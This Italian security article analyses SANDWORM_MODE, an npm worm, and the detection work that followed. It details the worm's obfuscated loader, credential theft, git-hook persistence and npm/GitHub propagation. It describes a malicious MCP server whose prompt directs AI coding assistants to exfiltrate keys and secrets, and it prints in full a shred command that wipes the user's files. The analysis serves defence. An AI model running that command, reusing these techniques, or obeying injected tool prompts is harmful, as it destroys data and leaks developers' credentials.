SANDWORM_MODE: il worm AI che trasforma GitHub Copilot e Claude Code in armi contro gli sviluppatori

SANDWORM_MODE è un worm supply chain che sfrutta npm, pipeline CI/CD e assistenti AI come GitHub Copilot, Cursor e Claude Code. Colpisce credenziali, server MCP e workflow di sviluppo automatizzati, inaugurando una nuova era di attacchi Living Off the AI Toolchain.

Nel febbraio 2026, Socket.dev ha pubblicato una ricerca su un worm multi-stage della supply chain npm operante sotto il flag interno SANDWORM_MODE. La campagna ha interessato complessivamente 19 pacchetti malevoli, distribuiti attraverso due distinti alias di pubblicazione, e ha dimostrato l’emergere di una nuova categoria di attacchi alla supply chain che prende di mira i workflow di sviluppo software potenziati dall’intelligenza artificiale.

Mentre molti dei recenti attacchi alla supply chain colpiscono gli artefatti di build,introducono backdoor statiche oppure sono finalizzati al furto su larga scala di credenziali, SANDWORM_MODE si è distinto per lo sfruttamento del comportamento durante il runtime degli assistenti di coding basati sull’AI, dell’automazione CI e delle toolchain LLM. Uno degli aspetti più complessi dell’attività di detection engineering in risposta a queste campagne è che gli ambienti nei quali si svolgono le attività malevole sono, dal punto di vista operativo, indistinguibili dalle normali operazioni legittime.

Questo articolo esamina l’anatomia della catena di infezione di SANDWORM_MODE, la mette in relazione con i componenti di una moderna pipeline CI/CD basata sull’AI e descrive nel dettaglio l’attività di detection engineering svolta successivamente. L’analisi comprende gli approcci che si sono dimostrati efficaci, quelli che non hanno prodotto i risultati attesi e le ragioni per cui il divario tra questi due insiemi rappresenta la sfida fondamentale nella protezione da questo vettore di attacco.

La nuova generazione: pipeline CI/CD basate sull’AI

La distribuzione del software moderna si affida sempre più a pipeline potenziate dall’intelligenza artificiale. Sebbene le implementazioni varino a seconda dei provider (GitHub Actions, GitLab CI, Bitbucket Pipelines) e degli assistenti di AI (GitHub Copilot, Cursor, Claude Code, Windsurf), l’architettura di riferimento condivide un insieme coerente di componenti:

Ciascun componente di questa pipeline rappresenta al tempo stesso una dipendenza funzionale e una superficie di attacco. SANDWORM_MODE ha preso di mira tutti e sei i componenti.

Anatomia della catena di infezione

SANDWORM_MODE opera attraverso tre fasi distinte, ciascuna progettata per eludere l’analisi nel contesto in cui viene eseguita.

Fase 0: Loader offuscato

Il payload iniziale utilizza una codifica multilivello mediante decodifica Base64, decompressione tramite zlib, decifratura XOR e chiamate indirette a eval() o Module._compile(), attivate al momento dell’importazione del pacchetto. Questa fase non contiene una logica esplicitamente malevola, poiché la sua funzione principale consiste nell’estrarre il payload durante il runtime. Questa tecnica consente di eludere numerosi strumenti di analisi statica che basano il rilevamento sulla scansione del contenuto dei pacchetti al momento della pubblicazione.

Fase 1: Ricognizione iniziale e raccolta rapida

All’attivazione, il loader esegue le seguenti operazioni:

• esegue il fingerprinting dell’ambiente di runtime per determinare se l’esecuzione avviene su una workstation di sviluppo o su un runner CI. Gli ambienti CI bypassano completamente il meccanismo di ritardo temporale;
• estrae i token presenti nel file .npmrc, le variabili d’ambiente che corrispondono ai pattern (KEY, SECRET, TOKEN o PASSWORD) e le chiavi dei wallet di criptovalute;
• le chiavi dei wallet di criptovalute raccolte vengono immediatamente inviate mediante una richiesta HTTP POST a un endpoint Cloudflare Worker controllato dall’attaccante, prima che venga attivata qualsiasi logica ritardata.

Successivamente, un meccanismo time bomb della durata compresa tra 48 e 96 ore ritarda la decifratura della Fase 2, salvo negli ambienti CI, nei quali viene attivata immediatamente.

Questa progettazione a doppio percorso garantisce la massima copertura, combinando una persistenza ritardata sulle workstation degli sviluppatori con uno sfruttamento immediato negli ambienti CI effimeri, nei quali la finestra temporale disponibile è significativamente più breve.

Fase 2: Set completo di funzionalità

Una volta superato il meccanismo di ritardo, la decifratura AES-256-GCM estrae il payload completo in /dev/shm, lo esegue tramite require() e rimuove immediatamente il file mediante unlink(). Questo approccio è analogo al reflective loading adattato al runtime di Node.js e non lascia artefatti forensi sul disco.

Le funzionalità della Fase 2 si mappano direttamente sui componenti della pipeline di AI.

Propagazione (package registry e source control)

SANDWORM_MODE si propaga attraverso tre vettori indipendenti, ciascuno dei quali sfrutta un diverso tipo di credenziale.

Utilizzando i token npm sottratti, esegue il comando whoami per identificare l’identità compromessa, enumera tutti i pacchetti pubblicati con quell’account, inserisce in ciascuno lo shim loader della Fase 0 ed esegue quindi npm publish per distribuire le versioni infette ai consumer a valle. Utilizzando i token delle API GitHub, enumera i repository accessibili, inserisce una dipendenza carrier, esegue un commit oppure apre una pull request e inserisce un workflow pull_request_target che viene eseguito nel contesto del repository di base, aggirando l’isolamento basato sui fork. Quando i metodi basati sulle API non sono disponibili, un meccanismo di fallback basato su SSH esegue l’autenticazione tramite ssh -T [email protected], clona direttamente i repository di destinazione, inserisce la dipendenza ed esegue il push delle modifiche.

Persistenza (targeting dell’ambiente di sviluppo)

Il worm stabilisce la persistenza scrivendo hook pre-commit e pre-push malevoli nella directory ~/.git-templates/hooks/, quindi imposta git config –global init.templateDir affinché punti a tale directory. Una volta completata con successo questa operazione, ogni successiva esecuzione di git init o git clone sul sistema compromesso eredita automaticamente gli hook infetti e propaga SANDWORM_MODE in qualsiasi nuovo repository con cui lo sviluppatore interagisca, senza richiedere ulteriori azioni.

Compromissione della toolchain di AI (targeting degli assistenti di AI e dei provider LLM)

Il worm distribuisce un server MCP malevolo in una directory nascosta (ad esempio ~/.dev-utils/server.js) e genera un nome casuale a partire da insiemi di parole interni (tra gli esempi osservati figurano .dev-utils/ e .node-analyzer/). Successivamente, inserisce voci di configurazione nei file di configurazione di Claude Desktop, Cursor, VSCode e Windsurf, registrando il server malevolo appena distribuito come provider di strumenti attendibile. Una volta attivata la nuova configurazione, il system prompt del server istruisce gli assistenti di AI a leggere ed esfiltrare silenziosamente chiavi SSH, credenziali AWS, token npm e segreti dell’ambiente attraverso l’interfaccia degli strumenti. Indipendentemente da questa attività, il worm raccoglie le chiavi API di nove provider LLM (OpenAI, Anthropic, Google, Groq, Together, Fireworks, Replicate, Mistral e Cohere) dalle variabili d’ambiente e dai file .env.

Raccolta ed esfiltrazione aggiuntiva di dati sensibili

Oltre al furto di credenziali, il worm prende di mira le interfacce a riga di comando CLI dei password manager (bw, op, lpass) e gli archivi SQLite locali, come Apple Notes, Messages, Joplin e la cronologia degli appunti, alla ricerca di contenuti sensibili. L’esfiltrazione adotta un approccio multicanale: i dati vengono inizialmente inviati mediante richieste HTTP POST su HTTPS all’infrastruttura controllata dall’attaccante, quindi replicati in repository GitHub privati sotto il controllo dell’attaccante a fini di ridondanza. Qualora entrambi i canali primari risultino bloccati, il malware ricorre al DNS tunneling con codifica Base32 e, come meccanismo di fallback di ultima istanza, a un domain generation algorithm.

Meccanismo distruttivo di fallback

Un dead switch si attiva qualora la propagazione e l’esfiltrazione falliscano simultaneamente: find ~ -type f -writable -user $USER -print0 | xargs -0 shred -uvz -n 1. Questo meccanismo di contingenza distrugge tutti i file dell’utente sui quali quest’ultimo dispone dei permessi di scrittura e garantisce che, qualora il worm non sia in grado di propagarsi o di estrarre valore, neghi al proprietario l’utilizzo dell’ambiente compromesso e lo distrugga.

L’attività di detection engineering

A seguito della divulgazione di Socket.dev, è stata condotta una gap analysis per mappare le capacità di SANDWORM_MODE rispetto ai contenuti di rilevamento già esistenti. L’attività di engineering risultante ha portato allo sviluppo di molteplici casi di rilevamento distinti. Di questi, il 65% è stato implementato, mentre i rimanenti sono stati giudicati non realizzabili alla luce degli attuali vincoli della telemetria.

Dove il segnale è presente

I rilevamenti che hanno raggiunto un livello di affidabilità idoneo alla produzione condividono tutti un modello comune: l’analisi della genealogia dell’albero dei processi combinata con una specificità mirata e circoscritta dell’obiettivo. Un processo padre node.js che esegue un’azione nei confronti di un percorso o di un comando caratterizzato da un uso legittimo limitato ha fornito una separazione sufficientemente netta tra segnale e rumore. La Figura 1mostra una schermata di uno dei nostri rilevamenti pubblicati attivatosi in risposta a un’emulazione del worm SANDWORM_MODE.

Diversi dei nostri rilevamenti hanno raggiunto uno stato di esposizione visibile ai clienti. I rimanenti sono stati mantenuti in uno stato di silent alerting. Questa modalità di gestione riveste un ruolo importante nella generazione di telemetria per i detection engineer e per le regole di correlazione interne, ma non espone tali rilevamenti come alert nell’interfaccia utente destinata ai clienti. I segnali raccolti tramite silent alerting contribuiscono all’osservazione di tendenze diffuse attraverso numerosi ambienti senza generare il rumore che comprometterebbe la fiducia nell’affidabilità degli avvisi. Il delicato equilibrio tra la distribuzione di contenuti di rilevamento ad alta affidabilità e la necessità che tali contenuti siano supportati dall’osservazione di tendenze reali è reso possibile dal silent alerting. Una volta che un determinato rilevamento soddisfa i rigorosi requisiti di efficacia previsti, viene promosso a uno stato visibile ai clienti, così da ridurre al minimo il potenziale impatto dei falsi positivi.

Dove il segnale è venuto meno

Diversi dei nostri casi di rilevamento sono stati archiviati come non realizzabili. In ciascuno di questi casi, il problema fondamentale era il medesimo: gli strumenti di sviluppo legittimi e l’automazione CI producono una telemetria indistinguibile da quella del comportamento malevolo oggetto del rilevamento. Le routine di propagazione del worm replicano le normali operazioni di Git e dei package registry, che vengono eseguite migliaia di volte al giorno in molti ambienti CI attivi. Inoltre, le sue capacità distruttive presentano una significativa sovrapposizione con i legittimi workflow di cancellazione sicura e di pulizia degli artefatti. Anche la ricognizione locale dell’infrastruttura di AI è indistinguibile dai controlli di integrità che molte piattaforme di strumenti di sviluppo eseguono nell’ambito del normale utilizzo.

La sfida fondamentale: Living Off the AI Toolchain

Le tradizionali tecniche di living off the land sfruttano binari nativi del sistema operativo, come PowerShell, certutil o mshta, per confondere le operazioni malevole con il normale comportamento del sistema. SANDWORM_MODE introduce un modello analogo per gli ambienti di sviluppo potenziati dall’AI: living off the AI toolchain.

Questa perdita di capacità discriminante è bilaterale e interessa sia il lato utente sia il lato CI/CD. Sul lato utente, molti assistenti di coding basati sull’AI eseguono comandi arbitrari, scrivono file di configurazione, generano processi figli e interagiscono con le API, il tutto nell’ambito di un albero dei processi con node come processo padre. Il worm esegue le stesse operazioni, per le stesse ragioni e utilizzando gli stessi strumenti. Sul lato CI/CD, l’automazione esegue legittimamente npm publish, crea commit, apre pull request, esegue il push verso i repository e gestisce le credenziali. La logica di propagazione del worm è funzionalmente identica a quella di una pipeline di rilascio.

Non si tratta di una lacuna che può essere facilmente colmata mediante firme più efficaci o euristiche più aggressive. È una caratteristica strutturale degli ambienti nei quali gli strumenti oggetto dell’abuso sono essi stessi progettati per eseguire, per conto dello sviluppatore, operazioni arbitrarie impartite dall’utente.

La campagna SANDWORM_MODE impone una ricalibrazione delle aspettative nei confronti del rilevamento a livello endpoint negli ambienti di sviluppo potenziati dall’AI e porta a tre principali conclusioni:

1. La superficie di rilevamento praticabile è più ridotta della superficie di attacco. Dei 14 comportamenti analizzati, soltanto 9 sono stati in grado di produrre un qualche segnale e solo 2 hanno soddisfatto il livello di affidabilità richiesto per la generazione di avvisi visibili ai clienti. Questo non rappresenta tanto un fallimento della copertura quanto un riflesso accurato dei punti nei quali esiste un segnale deterministico.
2. Il meccanismo time bomb sfrutta la natura effimera della conservazione della telemetria. Un ritardo compreso tra 48 e 96 ore sulle workstation degli sviluppatori fa sì che l’evento iniziale di importazione del pacchetto e il comportamento malevolo si verifichino in finestre temporali di telemetria differenti. Le strategie di rilevamento che si basano sulla correlazione tra l’«installazione di un pacchetto» e un «comportamento sospetto» si trovano quindi a fronteggiare un divario temporale che può superare i periodi di conservazione della telemetria.
3. I comportamenti della toolchain di AI richiedono baseline dedicate. Senza comprendere quale sia il comportamento «normale» per la distribuzione dei server MCP, la scrittura delle configurazioni degli assistenti di AI e l’utilizzo delle chiavi API dei provider LLM in uno specifico ambiente, non esiste alcuna base sulla quale costruire un rilevamento basato sulle anomalie. Questa classe di telemetria è nuova e le relative baseline sono ancora in fase di definizione in tutto il settore.

SANDWORM_MODE non rappresenta tanto una campagna isolata quanto una prova di concetto di una nuova classe emergente di attacchi. Con il progressivo consolidarsi degli assistenti di coding basati sull’AI come componente standard dell’infrastruttura di sviluppo, i comportamenti che essi normalizzano diventano una copertura permanente per gli attaccanti che replicano gli stessi schemi operativi. Questa campagna dimostra che le minacce alla supply chain si stanno evolvendo fino a prendere di mira non soltanto i pacchetti software, ma anche i rapporti di fiducia incorporati nei workflow potenziati dall’AI.

L’attività di detection engineering in risposta a SANDWORM_MODE ha prodotto contenuti di rilevamento utilizzabili operativamente in molteplici fasi della kill chain, e gli indicatori di attacco sviluppati nel corso di questa attività stanno proteggendo attivamente i clienti CrowdStrike. Inoltre, l’indagine e l’analisi di questa campagna hanno consentito di definire modelli di telemetria e logiche di rilevamento per una categoria di minacce destinata a crescere con l’accelerazione dell’adozione delle toolchain di AI.

Redazione

La Redazione di Red Hot Cyber fornisce aggiornamenti quotidiani su bug, data breach e minacce globali. Ogni contenuto è validato dalla nostra community di esperti come Pietro Melillo, Massimiliano Brolli, Sandro Sana, Olivia Terragni e Stefano Gazzella. Grazie alla sinergia con i nostri Partner leader nel settore (tra cui Accenture, CrowdStrike, Trend Micro e Fortinet), trasformiamo la complessità tecnica in consapevolezza collettiva, garantendo un'informazione accurata basata sull'analisi di fonti primarie e su una rigorosa peer-review tecnica.